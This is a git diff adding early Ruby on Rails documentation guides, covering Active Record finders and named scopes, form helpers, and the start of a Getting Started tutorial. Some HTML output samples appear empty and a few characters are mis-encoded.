+ t = Topic.find(params[:id], :lock => true) + t.increment!(:views) +end +------------------------------------------------------- + +== Making It All Work Together + +You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter. + +== Eager Loading + +Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use +Client.all(:include => :address)+. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include => [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this: + +[source, sql] +------------------------------------------------------- +Client Load (0.000383) SELECT * FROM clients +Address Load (0.119770) SELECT addresses.* FROM addresses + WHERE (addresses.client_id IN (13,14)) +MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM + mailing_addresses WHERE (mailing_addresses.client_id IN (13,14)) +------------------------------------------------------- + +The numbers +13+ and +14+ in the above SQL are the ids of the clients gathered from the +Client.all+ query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called +address+ or +mailing_address+ on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once. + +If you wanted to get all the addresses for a client in the same query you would do +Client.all(:joins => :address)+ and you wanted to find the address and mailing address for that client you would do +Client.all(:joins => [:address, :mailing_address])+. This is more efficient because it does all the SQL in one query, as shown by this example: + +[source, sql] +------------------------------------------------------- ++Client Load (0.000455) SELECT clients.* FROM clients INNER JOIN addresses + ON addresses.client_id = client.id INNER JOIN mailing_addresses ON + mailing_addresses.client_id = client.id +------------------------------------------------------- + +This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join): + +[source, ruby] +------------------------------------------------------- +Client.all(:joins => “LEFT OUTER JOIN addresses ON + client.id = addresses.client_id LEFT OUTER JOIN mailing_addresses ON + client.id = mailing_addresses.client_idâ€) +------------------------------------------------------- + +When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this: + +[source, ruby] +------------------------------------------------------- +Client.first(:include => "orders", :conditions => + ["orders.created_at >= ? AND orders.created_at <= ?", Time.now - 2.weeks, Time.now]) +------------------------------------------------------- + +== Dynamic finders + +For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the client model, you also get +find_by_locked+ and +find_all_by_locked+. If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked('Ryan', true)+. These finders are an excellent alternative to using the conditions option, mainly because it's shorter to type +find_by_name(params[:name])+ than it is to type +first(:conditions => ["name = ?", params[:name]])+. + +There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name('Ryan')+: + +[source,sql] +------------------------------------------------------- +SELECT * FROM +clients+ WHERE (+clients+.+name+ = 'Ryan') LIMIT 1 +BEGIN +INSERT INTO +clients+ (+name+, +updated_at+, +created_at+, +orders_count+, +locked+) + VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', '0', '0') +COMMIT +------------------------------------------------------- + ++find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will call +new+ with the parameters you passed in. For example: + +[source, ruby] +------------------------------------------------------- +client = Client.find_or_initialize_by_name('Ryan') +------------------------------------------------------- + +will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. + +== Finding By SQL + +If you'd like to use your own SQL to find records a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query: + +[source, ruby] +------------------------------------------------------- +Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc") +------------------------------------------------------- + ++find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects. + +== +select_all+ == + ++find_by_sql+ has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record. + +[source, ruby] +------------------------------------------------------- +Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'") +------------------------------------------------------- + +== Working with Associations + +When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like +Client.find(params[:id]).orders.find_by_sent_and_received(true, false)+. Having this find method available on associations is extremely helpful when using nested controllers. + +== Named Scopes + +Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query. + +=== Simple Named Scopes + +Suppose want to find all clients who are male. You could use this code: + +[source, ruby] +------------------------------------------------------- +class Client < ActiveRecord::Base + named_scope :males, :conditions => { :gender => "male" } +end +------------------------------------------------------- + +Then you could call +Client.males.all+ to get all the clients who are male. Please note that if you do not specify the +all+ on the end you will get a +Scope+ object back, not a set of records which you do get back if you put the +all+ on the end. + +If you wanted to find all the clients who are active, you could use this: + +[source,ruby] +------------------------------------------------------- +class Client < ActiveRecord::Base + named_scope :active, :conditions => { :active => true } +end +------------------------------------------------------- + +You can call this new named_scope with +Client.active.all+ and this will do the same query as if we just used +Client.all(:conditions => ["active = ?", true])+. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do +Client.active.first+. + +=== Combining Named Scopes + +If you wanted to find all the clients who are active and male you can stack the named scopes like this: + +[source, ruby] +------------------------------------------------------- +Client.males.active.all +------------------------------------------------------- + +If you would then like to do a +all+ on that scope, you can. Just like an association, named scopes allow you to call +all+ on them: + +[source, ruby] +------------------------------------------------------- +Client.males.active.all(:conditions => ["age > ?", params[:age]]) +------------------------------------------------------- + +=== Runtime Evaluation of Named Scope Conditions + +Consider the following code: + +[source, ruby] +------------------------------------------------------- +class Client < ActiveRecord::Base + named_scope :recent, :conditions => { :created_at > 2.weeks.ago } +end +------------------------------------------------------- + +This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, +2.weeks.ago+ is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block: + +[source, ruby] +------------------------------------------------------- +class Client < ActiveRecord::Base + named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } } +end +------------------------------------------------------- + +And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded. + +=== Named Scopes with Multiple Models + +In a named scope you can use +:include+ and +:joins+ options just like in find. + +[source, ruby] +------------------------------------------------------- +class Client < ActiveRecord::Base + named_scope :active_within_2_weeks, :joins => :order, + lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } } +end +------------------------------------------------------- + +This method, called as +Client.active_within_2_weeks.all+, will return all clients who have placed orders in the past 2 weeks. + +=== Arguments to Named Scopes + +If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this: + +[source, ruby] +------------------------------------------------------- +class Client < ActiveRecord::Base + named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } } +end +------------------------------------------------------- + +This will work if you call +Client.recent(2.weeks.ago).all+ but not if you call +Client.recent+. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter. + +[source, ruby] +------------------------------------------------------- +class Client < ActiveRecord::Base + named_scope :recent, lambda { |*args| { :conditions => ["created_at > ?", args.first || 2.weeks.ago] } } +end +------------------------------------------------------- + +This will work with +Client.recent(2.weeks.ago).all+ and +Client.recent.all+, with the latter always returning records with a created_at date between right now and 2 weeks ago. + +Remember that named scopes are stackable, so you will be able to do +Client.recent(2.weeks.ago).unlocked.all+ to find all clients created between right now and 2 weeks ago and have their locked field set to false. + +=== Anonymous Scopes + +All Active Record models come with a named scope named +scoped+, which allows you to create anonymous scopes. For example: + +[source, ruby] +------------------------------------------------------- +class Client < ActiveRecord::Base + def self.recent + scoped :conditions => ["created_at > ?", 2.weeks.ago] + end +end +------------------------------------------------------- + +Anonymous scopes are most useful to create scopes "on the fly": + +[source, ruby] +------------------------------------------------------- +Client.scoped(:conditions => { :gender => "male" }) +------------------------------------------------------- + +Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes. + +== Existence of Objects + +If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false. + +[source, ruby] +------------------------------------------------------- +Client.exists?(1) +------------------------------------------------------- + +The above code will check for the existence of a clients table record with the id of 1 and return true if it exists. + +[source, ruby] +------------------------------------------------------- +Client.exists?(1,2,3) +# or +Client.exists?([1,2,3]) +------------------------------------------------------- + +The +exists?+ method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists. + +Further more, +exists+ takes a +conditions+ option much like find: + +[source, ruby] +------------------------------------------------------- +Client.exists?(:conditions => "first_name = 'Ryan'") +------------------------------------------------------- + +== Calculations + +This section uses count as an example method in this preamble, but the options described apply to all sub-sections. + ++count+ takes conditions much in the same way +exists?+ does: + +[source, ruby] +------------------------------------------------------- +Client.count(:conditions => "first_name = 'Ryan'") +------------------------------------------------------- + +Which will execute: + +[source, sql] +------------------------------------------------------- +SELECT count(*) AS count_all FROM +clients+ WHERE (first_name = 1) +------------------------------------------------------- + +You can also use +include+ or +joins+ for this to do something a little more complex: + +[source, ruby] +------------------------------------------------------- +Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders") +------------------------------------------------------- + +Which will execute: + +[source, sql] +------------------------------------------------------- +SELECT count(DISTINCT +clients+.id) AS count_all FROM +clients+ + LEFT OUTER JOIN +orders+ ON orders.client_id = client.id WHERE + (clients.first_name = 'name' AND orders.status = 'received') +------------------------------------------------------- + +This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table. + + +=== Count + +If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+. + +For options, please see the parent section, Calculations. + +=== Average + +If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this: + +[source, ruby] +------------------------------------------------------- +Client.average("orders_count") +------------------------------------------------------- + +This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field. + +For options, please see the parent section, <<_calculations, Calculations>> + +=== Minimum + +If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this: + +[source, ruby] +------------------------------------------------------- +Client.minimum("age") +------------------------------------------------------- + +For options, please see the parent section, <<_calculations, Calculations>> + +=== Maximum + +If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this: + +[source, ruby] +------------------------------------------------------- +Client.maximum("age") +------------------------------------------------------- + +For options, please see the parent section, <<_calculations, Calculations>> + +=== Sum + +If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this: + +[source, ruby] +------------------------------------------------------- +Client.sum("orders_count") +------------------------------------------------------- + +For options, please see the parent section, <<_calculations, Calculations>> + +== Credits + +Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible. + +Thanks to Mike Gunderloy for his tips on creating this guide. + +== Changelog + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16[Lighthouse ticket] + +* November 8, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version. +* October 27, 2008: Added scoped section, added named params for conditions and added sub-section headers for conditions section by Ryan Bigg +* October 27, 2008: Fixed up all points specified in http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-6[this comment] with an exception of the final point by Ryan Bigg +* October 26, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version. +* October 22, 2008: Calculations complete, first complete draft by Ryan Bigg +* October 21, 2008: Extended named scope section by Ryan Bigg +* October 9, 2008: Lock, count, cleanup by Ryan Bigg +* October 6, 2008: Eager loading by Ryan Bigg +* October 5, 2008: Covered conditions by Ryan Bigg +* October 1, 2008: Covered limit/offset, formatting changes by Ryan Bigg +* September 28, 2008: Covered first/last/all by Ryan Bigg diff --git a/vendor/rails/railties/doc/guides/source/form_helpers.txt b/vendor/rails/railties/doc/guides/source/form_helpers.txt new file mode 100644 index 00000000..88ca74a5 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/form_helpers.txt @@ -0,0 +1,345 @@ +Rails form helpers +================== +Mislav Marohnić + +Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use. + +In this guide we will: + +* Create search forms and similar kind of generic forms not representing any specific model in your application; +* Make model-centric forms for creation and editing of specific database records; +* Generate select boxes from multiple types of data; +* Learn what makes a file upload form different; +* Build complex, multi-model forms. + +NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit http://api.rubyonrails.org/[the Rails API documentation] for a complete reference. + + +Basic forms +----------- + +The most basic form helper is `form_tag`. + +---------------------------------------------------------------------------- +<% form_tag do %> + Form contents +<% end %> +---------------------------------------------------------------------------- + +When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability): + +.Sample rendering of `form_tag` +---------------------------------------------------------------------------- +
+
+ +
+ Form contents +
+---------------------------------------------------------------------------- + +If you carefully observe this output, you can see that the helper generated something we didn't specify: a `div` element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled). + +NOTE: Throughout this guide, this `div` with the hidden input will be stripped away to have clearer code samples. + +Generic search form +~~~~~~~~~~~~~~~~~~~ + +Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of: + +1. a form element with "GET" method, +2. a label for the input, +3. a text input element, and +4. a submit element. + +IMPORTANT: Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other. + +To create that, we will use `form_tag`, `label_tag`, `text_field_tag` and `submit_tag`, respectively. + +.A basic search form +---------------------------------------------------------------------------- +<% form_tag(search_path, :method => "get") do %> + <%= label_tag(:q, "Search for:") %> + <%= text_field_tag(:q) %> + <%= submit_tag("Search") %> +<% end %> +---------------------------------------------------------------------------- + +[TIP] +============================================================================ +`search_path` can be a named route specified in "routes.rb": + +---------------------------------------------------------------------------- +map.search "search", :controller => "search" +---------------------------------------------------------------------------- +============================================================================ + +The above view code will result in the following markup: + +.Search form HTML +---------------------------------------------------------------------------- +
+ + + +
+---------------------------------------------------------------------------- + +Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML. + +TIP: For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. + +Multiple hashes in form helper attributes +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +By now we've seen that the `form_tag` helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like `:method`). + +Identical to the `link_to` helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this: + +.A bad way to pass multiple hashes as method arguments +---------------------------------------------------------------------------- +form_tag(:controller => "people", :action => "search", :method => "get") +# =>
+---------------------------------------------------------------------------- + +Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets: + +.The correct way of passing multiple hashes as arguments +---------------------------------------------------------------------------- +form_tag({:controller => "people", :action => "search"}, :method => "get") +# => +---------------------------------------------------------------------------- + +This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly. + +WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an `expecting tASSOC` syntax error. + +Checkboxes, radio buttons and other controls +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Checkboxes are form controls that give the user a set of options they can enable or disable: + +---------------------------------------------------------------------------- +<%= check_box_tag(:pet_dog) %> + <%= label_tag(:pet_dog, "I own a dog") %> +<%= check_box_tag(:pet_cat) %> + <%= label_tag(:pet_cat, "I own a cat") %> + +output: + + + + + +---------------------------------------------------------------------------- + +Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one): + +---------------------------------------------------------------------------- +<%= radio_button_tag(:age, "child") %> + <%= label_tag(:age_child, "I am younger than 21") %> +<%= radio_button_tag(:age, "adult") %> + <%= label_tag(:age_adult, "I'm over 21") %> + +output: + + + + + +---------------------------------------------------------------------------- + +IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region. + +Other form controls we might mention are the text area, password input and hidden input: + +---------------------------------------------------------------------------- +<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %> +<%= password_field_tag(:password) %> +<%= hidden_field_tag(:parent_id, "5") %> + +output: + + + + +---------------------------------------------------------------------------- + +Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript. + +TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating `filter_parameter_logging(:password)` in your ApplicationController. + +How do forms with PUT or DELETE methods work? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then? + +Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"` that is set to reflect the wanted method: + +---------------------------------------------------------------------------- +form_tag(search_path, :method => "put") + +output: + + +
+ + +
+ ... +---------------------------------------------------------------------------- + +When parsing POSTed data, Rails will take into account the special `"_method"` parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example). + + +Forms that deal with model attributes +------------------------------------- + +When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one: + +.articles_controller.rb +---------------------------------------------------------------------------- +def new + @article = Article.new +end +---------------------------------------------------------------------------- + +Now we switch to the view. The first thing to remember is that we should use `form_for` helper instead of `form_tag`, and that we should pass the model name and object as arguments: + +.articles/new.html.erb +---------------------------------------------------------------------------- +<% form_for :article, @article, :url => { :action => "create" } do |f| %> + <%= f.text_field :title %> + <%= f.text_area :body, :size => "60x12" %> + <%= submit_tag "Create" %> +<% end %> +---------------------------------------------------------------------------- + +There are a few things to note here: + +1. `:article` is the name of the model and `@article` is our record. +2. The URL for the action attribute is passed as a parameter named `:url`. +3. The `form_for` method yields *a form builder* object (the `f` variable). +4. Methods to create form controls are called *on* the form builder object `f` and *without* the `"_tag"` suffix (so `text_field_tag` becomes `f.text_field`). + +The resulting HTML is: + +---------------------------------------------------------------------------- + + + + +
+---------------------------------------------------------------------------- + +A nice thing about `f.text_field` and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller: + +---------------------------------------------------------------------------- +@article = Article.new(:title => "Rails makes forms easy") +---------------------------------------------------------------------------- + +... the corresponding input will be rendered with a value: + +---------------------------------------------------------------------------- + +---------------------------------------------------------------------------- + +Relying on record identification +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it *a resource*. + +When dealing with RESTful resources, our calls to `form_for` can get significantly easier if we rely on *record identification*. In short, we can just pass the model instance and have Rails figure out model name and the rest: + +---------------------------------------------------------------------------- +## Creating a new article +# long-style: +form_for(:article, @article, :url => articles_path) +# same thing, short-style (record identification gets used): +form_for(@article) + +## Editing an existing article +# long-style: +form_for(:article, @article, :url => article_path(@article), :method => "put") +# short-style: +form_for(@article) +---------------------------------------------------------------------------- + +Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. + +WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url` and `:method` explicitly. + + +Making select boxes with ease +----------------------------- + +Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes. + +Here is what our wanted markup might look like: + +---------------------------------------------------------------------------- + +---------------------------------------------------------------------------- + +Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here. + +The select tag and options +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates the options: + +---------------------------------------------------------------------------- +<%= select_tag(:city_id, '...') %> +---------------------------------------------------------------------------- + +This is a start, but it doesn't dynamically create our option tags. We had to pass them in as a string. + +We can generate option tags with the `options_for_select` helper: + +---------------------------------------------------------------------------- +<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %> + +output: + + + +... +---------------------------------------------------------------------------- + +For input data we used a nested array where each element has two elements: visible value (name) and internal value (ID). + +Now you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup: + +---------------------------------------------------------------------------- +<%= select_tag(:city_id, options_for_select(...)) %> +---------------------------------------------------------------------------- + +Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The `options_for_select` helper supports this with an optional second argument: + +---------------------------------------------------------------------------- +<%= options_for_select(cities_array, 2) %> + +output: + + + +... +---------------------------------------------------------------------------- + +So whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. + +Select boxes for dealing with models +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a `city_id` attribute. + +---------------------------------------------------------------------------- +... +---------------------------------------------------------------------------- + +... \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt b/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt new file mode 100644 index 00000000..bae8f9a4 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt @@ -0,0 +1,1256 @@ +Getting Started With Rails +========================== + +This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with: + +* Installing Rails, creating a new Rails application, and connecting your application to a database +* The general layout of a Rails application +* The basic principles of MVC (Model, View Controller) and RESTful design +* How to quickly generate the starting pieces of a Rails application. + +== This Guide Assumes + +This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: + +* The link:http://www.ruby-lang.org/en/downloads/[Ruby] language +* The link:http://rubyforge.org/frs/?group_id=126[RubyGems] packaging system +* A working installation of link:http://www.sqlite.org/[SQLite] (preferred), link:http://www.mysql.com/[MySQL], or link:http://www.postgresql.org/[PostgreSQL] + +It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including: + +* link:http://www.humblelittlerubybook.com/[Mr. Neigborly’s Humble Little Ruby Book] +* link:http://www.rubycentral.com/book/[Programming Ruby] +* link:http://poignantguide.net/ruby/[Why's (Poignant) Guide to Ruby] + +== What is Rails? + +Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun. + +Rails is _opinionated software_. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience. + +The Rails philosophy includes several guiding principles: + +* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. +* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files. +* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go. + +=== The MVC Architecture + +Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include: + +* Isolation of business logic from the user interface +* Ease of keeping code DRY +* Making it clear where different types of code belong for easier maintenance + +==== Models + +A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models. + +==== Views + +Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application. + +==== Controllers + +Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation. + +=== The Components of Rails + +Rails provides a full stack of components for creating web applications, including: + +* Action Controller +* Action View +* Active Record +* Action Mailer +* Active Resource +* Railties +* Active Support + +==== Action Controller + +Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management. + +==== Action View + +Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support. + +==== Active Record + +Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services. + +==== Action Mailer + +Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email. + +==== Active Resource + +Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. + +==== Railties + +Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application. + +==== Active Support + +Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications. + +=== REST + +The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, link:http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm[Architectural Styles and the Design of Network-based Software Architectures]. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes: + +* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources +* Transferring representations of the state of that resource between system components. + +For example, to a Rails application a request such as this: + ++DELETE /photos/17+ + +would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities. + +If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis: + +* link:http://www.infoq.com/articles/rest-introduction[A Brief Introduction to REST] by Stefan Tilkov +* link:http://bitworking.org/news/373/An-Introduction-to-REST[An Introduction to REST] (video tutorial) by Joe Gregorio +* link:http://en.wikipedia.org/wiki/Representational_State_Transfer[Representational State Transfer] article in Wikipedia + +== Creating a New Rails Project + +If you follow this guide, you'll create a Rails project called +blog+, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed. + +=== Installing Rails + +In most cases, the easiest way to install Rails is to take advantage of RubyGems: + +[source, shell] +------------------------------------------------------- +$ gem install rails +------------------------------------------------------- + +NOTE: There are some special circumstances in which you might want to use an alternate installation strategy: + +* If you're working on Windows, you may find it easier to install link:http://instantrails.rubyforge.org/wiki/wiki.pl[Instant Rails]. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows. +* If you want to keep up with cutting-edge changes to Rails, you'll want to clone the link:http://github.com/rails/rails/tree/master[Rails source code] from github. This is not recommended as an option for beginners, though. + +=== Creating the Blog Application + +Open a terminal, navigate to a folder where you have rights to create files, and type: + +[source, shell] +------------------------------------------------------- +$ rails blog +------------------------------------------------------- + +This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead: + +[source, shell] +------------------------------------------------------- +$ rails blog -d mysql +------------------------------------------------------- + +And if you're using PostgreSQL for data storage, run this command: + +[source, shell] +------------------------------------------------------- +$ rails blog -d postgresql +------------------------------------------------------- + +In any case, Rails will create a folder in your working directory called +blog+. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default: + +[grid="all"] +`-----------`----------------------------------------------------------------------------------------------------------------------------- +File/Folder Purpose +------------------------------------------------------------------------------------------------------------------------------------------ ++README+ This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on. ++Rakefile+ This file contains batch jobs that can be run from the terminal. ++app/+ Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide. ++config/+ Configure your application's runtime rules, routes, database, and more. ++db/+ Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly. ++doc/+ In-depth 